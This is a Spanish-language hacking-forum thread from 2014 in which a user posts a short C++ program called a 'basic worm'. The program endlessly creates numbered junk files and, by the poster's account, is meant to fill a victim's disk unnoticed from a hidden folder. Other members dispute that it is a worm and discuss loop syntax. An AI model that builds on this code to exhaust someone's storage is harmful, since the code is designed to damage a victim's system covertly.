elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Worm básico en C++
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Worm básico en C++  (Leído 5,320 veces)
zikotik

Desconectado Desconectado

Mensajes: 59



Ver Perfil
Worm básico en C++
« en: 10 Enero 2014, 17:45 pm »

Hola gente, les dejo un pequeño código de un worm básico que hice hace un rato en C++.
Modifíquenlo a su gusto, y cualquier duda, pregunten...

Si usan linux, desactiven la librería windows.h y activen la librería unistd.h, en caso contrario, déjenlo como está.

La variable mls, sirve para que después de cada loop, el worm espere x cantidad de milisegundos; 0 para desactivarlo o pongan otro valor.

La variable txt, es para escribir en cada archivo que creará el worm.

La variable blq, tiene el valor del nombre del archivo a crear.

Código
  1. #include <fstream>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. #include <windows.h>
  5. //#include <unistd.h>
  6.  
  7. using namespace std;
  8.  
  9. int main(){
  10. int i = 1;
  11. int dat = 0;
  12. int mls = 125;
  13. char buf[35];
  14. char txt[41] = "err[32030950ab769812b57c164cdab5138e]\n";
  15.  
  16. while(i != 0){
  17. char blq[44] = "err.";
  18. strcat(blq,itoa(dat,buf,10));
  19.  
  20. ifstream arch (blq);
  21.  
  22. if(!arch){
  23. ofstream arch (blq);
  24. arch << txt;
  25. arch.close();
  26. Sleep(mls);
  27. } else {
  28. arch.close();
  29. }
  30.  
  31. dat++;
  32. }
  33.  
  34. }


En línea

0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: Worm básico en C++
« Respuesta #1 en: 11 Enero 2014, 00:29 am »

¿Qué se supone que ha de hacer este código?


En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re:
« Respuesta #2 en: 11 Enero 2014, 12:36 pm »

Qué tiene que ver con un worm? :o

Enviado desde mi ST21i mediante Tapatalk
En línea

zikotik

Desconectado Desconectado

Mensajes: 59



Ver Perfil
Re: Worm básico en C++
« Respuesta #3 en: 11 Enero 2014, 12:40 pm »

Lo que hace este código es buscar un archivo basuro con el nombre "err" con el número de id dado por la variable "dat" (que en realidad sería la extensión del archivo pero en números), en cuyo caso no exista, lo crea. Una vez que crea el archivo, espera 125 milisegundos y comienza nuevamente el loop (en realidad se puede sacar el Sleep(), pero consumiría muchísima ram y la víctima se daría cuenta de que está infectada).

Si se borra algún archivo basura, al ser ejecutado nuevamente el worm (suponiendo que está agregado al registro), busca entre los archivos basura si hay algún faltante, en caso de ser así, lo reconstruye y continua buscando y escribiendo.

La idea principal es que ocupe espacio en alguna carpeta oculta del hdd sin afectar tanto a la ram.

Un ejemplo gráfico de su funcionamiento sería:

err.0 find
err.1 find
err.2 find
err.3 find
err.4 find
err.5 not found
err.5 made
err.6 not found
err.6 made


Tal funcionamiento es así para no perder tanto tiempo en la escritura de archivos. Perdés un poco de tiempo buscando los archivos no creados si es ejecutado nuevamente, pero el tiempo es mucho menos que al escribir cada uno de estos aunque ya existan.
En línea

dato000


Desconectado Desconectado

Mensajes: 3.034



Ver Perfil
Re: Worm básico en C++
« Respuesta #4 en: 11 Enero 2014, 13:46 pm »

eso no es un gusano, solo crea archivos.

Un gusano llena directamente los datos del cluster sin respetar jerarquias, solo llena de mugre el disco dañando los sectores, los desmagnetiza, calienta y jode el circuito.

O si va con memoria lo que hace es reventar el head y resevar memoria como loco sin dejar al sistema operativo como seguir corriendo.

De todas maneras tanto linux como windows (desde win 7) ya saben como lidiar con eso y terminan la depuración cuando ve algún loop de ese estilo, y lo manda a un archivo de paginación (>win 7) o a la swap (linux) y lo limita de tal manera de que si llega a llenarse tal espacio, detiene el programa y deja de ensamblar el archivo, así de simple.

Pues tu intención es buena, y que bueno el entusiasmo, pero ese titulo es puro amarillismo.
En línea


ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re: Worm básico en C++
« Respuesta #5 en: 11 Enero 2014, 19:08 pm »

La base de un worm, es multiplicarse y moverse por redes, entre otras.
Eso que tienes ahí, yo lo calificaría como virus.
Por cierto, para que usas la variable 'i'? No te valdría poner while(1==1)? xD
En línea

zikotik

Desconectado Desconectado

Mensajes: 59



Ver Perfil
Re: Worm básico en C++
« Respuesta #6 en: 13 Enero 2014, 12:47 pm »

La base de un worm, es multiplicarse y moverse por redes, entre otras.
Eso que tienes ahí, yo lo calificaría como virus.
Por cierto, para que usas la variable 'i'? No te valdría poner while(1==1)? xD

Nunca se me había ocurrido lo del "1==1", me ahorro una variable y una suma...
Gracias por la data, y respecto a lo de la clasificación, tienen razón, no es un gusano, me puse a leer bien en wikipedia las diferencias entre los distintos tipos y malinterpreté.
En línea

MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.471


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: Worm básico en C++
« Respuesta #7 en: 13 Enero 2014, 13:09 pm »

Nunca se me había ocurrido lo del "1==1", me ahorro una variable y una suma...

Tambien puedes usar While(True)

Saludos!
En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

ivancea96


Desconectado Desconectado

Mensajes: 3.412


ASMático


Ver Perfil WWW
Re:
« Respuesta #8 en: 13 Enero 2014, 14:28 pm »

En C no hay "true", no es verdad? (quizás me equivoque, yo soy hijo de C++)

Enviado desde mi ST21i mediante Tapatalk
En línea

MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.471


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: Worm básico en C++
« Respuesta #9 en: 14 Enero 2014, 00:40 am »

En C no hay "true", no es verdad? (quizás me equivoque, yo soy hijo de C++)

Citar
Boolean type

C99 added a boolean (true/false) type (_Bool) which is defined in the <stdbool.h> header. Additionally, the standard requires that macros are defined to alias the type as bool as well as providing macros for true and false.

Source: http://en.wikipedia.org/wiki/C_data_types

Saludos!

PD: C11 es el standar hoy día, e incluye a C99: http://en.wikipedia.org/wiki/ANSI_C
En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
EOF.Bat.Worm
Scripting
y0u uNSeCure 0 1,982 Último mensaje 8 Agosto 2008, 15:58 pm
por y0u uNSeCure
algo basico super basico pero que no me sale
Programación C/C++
Freelancer 6 4,239 Último mensaje 22 Septiembre 2011, 03:25 am
por Freelancer
Worm básico en C++
Análisis y Diseño de Malware
zikotik 0 2,352 Último mensaje 10 Enero 2014, 18:31 pm
por zikotik
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines